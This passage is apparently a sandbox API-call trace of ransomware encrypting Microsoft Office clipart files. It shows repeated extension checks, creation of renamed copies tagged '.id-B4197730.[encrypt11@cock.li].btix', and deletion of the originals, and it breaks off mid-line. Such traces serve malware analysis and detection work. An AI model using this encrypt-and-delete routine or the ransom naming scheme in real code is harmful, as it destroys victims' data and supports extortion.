[0155.623] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.623] lstrlenW (lpString=".xls") returned 4 [0155.623] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.623] lstrlenW (lpString=".xlsx") returned 5 [0155.623] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0155.623] lstrlenW (lpString=".ppt") returned 4 [0155.623] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68 [0155.623] lstrlenW (lpString=".zip") returned 4 [0155.623] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.623] lstrlenW (lpString=".rar") returned 4 [0155.623] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.623] lstrlenW (lpString=".bz2") returned 4 [0155.623] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.623] lstrlenW (lpString=".7z") returned 3 [0155.623] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68 [0155.623] lstrlenW (lpString=".dbf") returned 4 [0155.623] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68 [0155.623] lstrlenW (lpString=".1cd") returned 4 [0155.623] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153313.WMF") returned 68 [0155.624] lstrlenW (lpString=".jpg") returned 4 [0155.624] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.631] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.631] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153514.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0155.635] GetLastError () returned 0x0 [0155.635] ReadFile (in: hFile=0x36c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x31d0, lpOverlapped=0x0) returned 1 [0155.642] WriteFile (in: hFile=0x390, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x31e0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x31e0, lpOverlapped=0x0) returned 1 [0155.643] ReadFile (in: hFile=0x36c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.643] WriteFile (in: hFile=0x390, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.643] SetEndOfFile (hFile=0x390) returned 1 [0155.645] CloseHandle (hObject=0x390) returned 1 [0155.646] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.646] SetEndOfFile (hFile=0x36c) returned 1 [0155.649] CloseHandle (hObject=0x36c) returned 1 [0155.649] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.649] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153514.wmf")) returned 1 [0155.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68 [0155.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68 [0155.650] lstrlenW (lpString=".doc") returned 4 [0155.650] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.650] lstrlenW (lpString=".docx") returned 5 [0155.650] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0155.650] lstrlenW (lpString=".pdf") returned 4 [0155.650] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.650] lstrlenW (lpString=".xls") returned 4 [0155.650] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.650] lstrlenW (lpString=".xlsx") returned 5 [0155.650] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0155.650] lstrlenW (lpString=".ppt") returned 4 [0155.650] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68 [0155.650] lstrlenW (lpString=".zip") returned 4 [0155.651] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.651] lstrlenW (lpString=".rar") returned 4 [0155.651] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.651] lstrlenW (lpString=".bz2") returned 4 [0155.651] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.651] lstrlenW (lpString=".7z") returned 3 [0155.651] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68 [0155.651] lstrlenW (lpString=".dbf") returned 4 [0155.651] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68 [0155.651] lstrlenW (lpString=".1cd") returned 4 [0155.651] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68 [0155.651] lstrlenW (lpString=".jpg") returned 4 [0155.651] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.658] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.658] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0156537.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0155.659] GetLastError () returned 0x0 [0155.660] ReadFile (in: hFile=0x364, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x560, lpOverlapped=0x0) returned 1 [0155.663] WriteFile (in: hFile=0x3a4, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x570, lpOverlapped=0x0) returned 1 [0155.664] ReadFile (in: hFile=0x364, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.664] WriteFile (in: hFile=0x3a4, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.664] SetEndOfFile (hFile=0x3a4) returned 1 [0155.665] CloseHandle (hObject=0x3a4) returned 1 [0155.667] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.667] SetEndOfFile (hFile=0x364) returned 1 [0155.675] CloseHandle (hObject=0x364) returned 1 [0155.678] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.678] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0156537.wmf")) returned 1 [0155.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68 [0155.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68 [0155.679] lstrlenW (lpString=".doc") returned 4 [0155.679] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.679] lstrlenW (lpString=".docx") returned 5 [0155.679] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0155.679] lstrlenW (lpString=".pdf") returned 4 [0155.679] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.679] lstrlenW (lpString=".xls") returned 4 [0155.679] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.679] lstrlenW (lpString=".xlsx") returned 5 [0155.679] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0155.679] lstrlenW (lpString=".ppt") returned 4 [0155.679] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68 [0155.679] lstrlenW (lpString=".zip") returned 4 [0155.679] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.679] lstrlenW (lpString=".rar") returned 4 [0155.679] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.679] lstrlenW (lpString=".bz2") returned 4 [0155.679] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.679] lstrlenW (lpString=".7z") returned 3 [0155.679] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68 [0155.679] lstrlenW (lpString=".dbf") returned 4 [0155.679] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68 [0155.680] lstrlenW (lpString=".1cd") returned 4 [0155.680] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68 [0155.680] lstrlenW (lpString=".jpg") returned 4 [0155.680] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.684] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.684] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157831.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0155.688] GetLastError () returned 0x0 [0155.688] ReadFile (in: hFile=0x390, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x2c84, lpOverlapped=0x0) returned 1 [0155.690] WriteFile (in: hFile=0x364, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x2c90, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x2c90, lpOverlapped=0x0) returned 1 [0155.691] ReadFile (in: hFile=0x390, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.691] WriteFile (in: hFile=0x364, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.691] SetEndOfFile (hFile=0x364) returned 1 [0155.694] CloseHandle (hObject=0x364) returned 1 [0155.698] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.698] SetEndOfFile (hFile=0x390) returned 1 [0155.699] CloseHandle (hObject=0x390) returned 1 [0155.699] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.699] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157831.wmf")) returned 1 [0155.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68 [0155.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68 [0155.699] lstrlenW (lpString=".doc") returned 4 [0155.699] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.699] lstrlenW (lpString=".docx") returned 5 [0155.699] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0155.700] lstrlenW (lpString=".pdf") returned 4 [0155.700] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.700] lstrlenW (lpString=".xls") returned 4 [0155.700] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.700] lstrlenW (lpString=".xlsx") returned 5 [0155.700] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0155.700] lstrlenW (lpString=".ppt") returned 4 [0155.700] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68 [0155.700] lstrlenW (lpString=".zip") returned 4 [0155.700] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.700] lstrlenW (lpString=".rar") returned 4 [0155.700] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.700] lstrlenW (lpString=".bz2") returned 4 [0155.700] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.700] lstrlenW (lpString=".7z") returned 3 [0155.700] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68 [0155.700] lstrlenW (lpString=".dbf") returned 4 [0155.700] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68 [0155.700] lstrlenW (lpString=".1cd") returned 4 [0155.700] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157831.WMF") returned 68 [0155.700] lstrlenW (lpString=".jpg") returned 4 [0155.700] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.704] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.705] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0160590.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0155.707] GetLastError () returned 0x0 [0155.707] ReadFile (in: hFile=0x37c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x72de, lpOverlapped=0x0) returned 1 [0155.735] WriteFile (in: hFile=0x364, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x72e0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x72e0, lpOverlapped=0x0) returned 1 [0155.736] ReadFile (in: hFile=0x37c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.736] WriteFile (in: hFile=0x364, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.736] SetEndOfFile (hFile=0x364) returned 1 [0155.736] CloseHandle (hObject=0x364) returned 1 [0155.736] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.736] SetEndOfFile (hFile=0x37c) returned 1 [0155.737] CloseHandle (hObject=0x37c) returned 1 [0155.737] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.737] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0160590.wmf")) returned 1 [0155.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68 [0155.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68 [0155.740] lstrlenW (lpString=".doc") returned 4 [0155.740] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.740] lstrlenW (lpString=".docx") returned 5 [0155.740] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0155.740] lstrlenW (lpString=".pdf") returned 4 [0155.740] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.740] lstrlenW (lpString=".xls") returned 4 [0155.740] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.740] lstrlenW (lpString=".xlsx") returned 5 [0155.740] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0155.740] lstrlenW (lpString=".ppt") returned 4 [0155.740] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68 [0155.740] lstrlenW (lpString=".zip") returned 4 [0155.740] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.740] lstrlenW (lpString=".rar") returned 4 [0155.740] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.740] lstrlenW (lpString=".bz2") returned 4 [0155.740] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.740] lstrlenW (lpString=".7z") returned 3 [0155.740] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68 [0155.740] lstrlenW (lpString=".dbf") returned 4 [0155.740] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68 [0155.740] lstrlenW (lpString=".1cd") returned 4 [0155.740] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0160590.WMF") returned 68 [0155.740] lstrlenW (lpString=".jpg") returned 4 [0155.740] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.741] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.741] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172035.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0155.742] GetLastError () returned 0x0 [0155.742] ReadFile (in: hFile=0x364, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x1d18, lpOverlapped=0x0) returned 1 [0155.746] WriteFile (in: hFile=0x36c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x1d20, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x1d20, lpOverlapped=0x0) returned 1 [0155.748] ReadFile (in: hFile=0x364, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.748] WriteFile (in: hFile=0x36c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.748] SetEndOfFile (hFile=0x36c) returned 1 [0155.749] CloseHandle (hObject=0x36c) returned 1 [0155.749] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.749] SetEndOfFile (hFile=0x364) returned 1 [0155.750] CloseHandle (hObject=0x364) returned 1 [0155.750] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.750] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172035.wmf")) returned 1 [0155.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68 [0155.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68 [0155.750] lstrlenW (lpString=".doc") returned 4 [0155.750] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.750] lstrlenW (lpString=".docx") returned 5 [0155.751] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0155.751] lstrlenW (lpString=".pdf") returned 4 [0155.751] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.751] lstrlenW (lpString=".xls") returned 4 [0155.751] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.751] lstrlenW (lpString=".xlsx") returned 5 [0155.751] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0155.751] lstrlenW (lpString=".ppt") returned 4 [0155.751] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68 [0155.751] lstrlenW (lpString=".zip") returned 4 [0155.751] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.751] lstrlenW (lpString=".rar") returned 4 [0155.751] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.751] lstrlenW (lpString=".bz2") returned 4 [0155.751] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.751] lstrlenW (lpString=".7z") returned 3 [0155.751] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68 [0155.751] lstrlenW (lpString=".dbf") returned 4 [0155.751] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68 [0155.751] lstrlenW (lpString=".1cd") returned 4 [0155.751] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF") returned 68 [0155.751] lstrlenW (lpString=".jpg") returned 4 [0155.751] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.140] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.140] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft 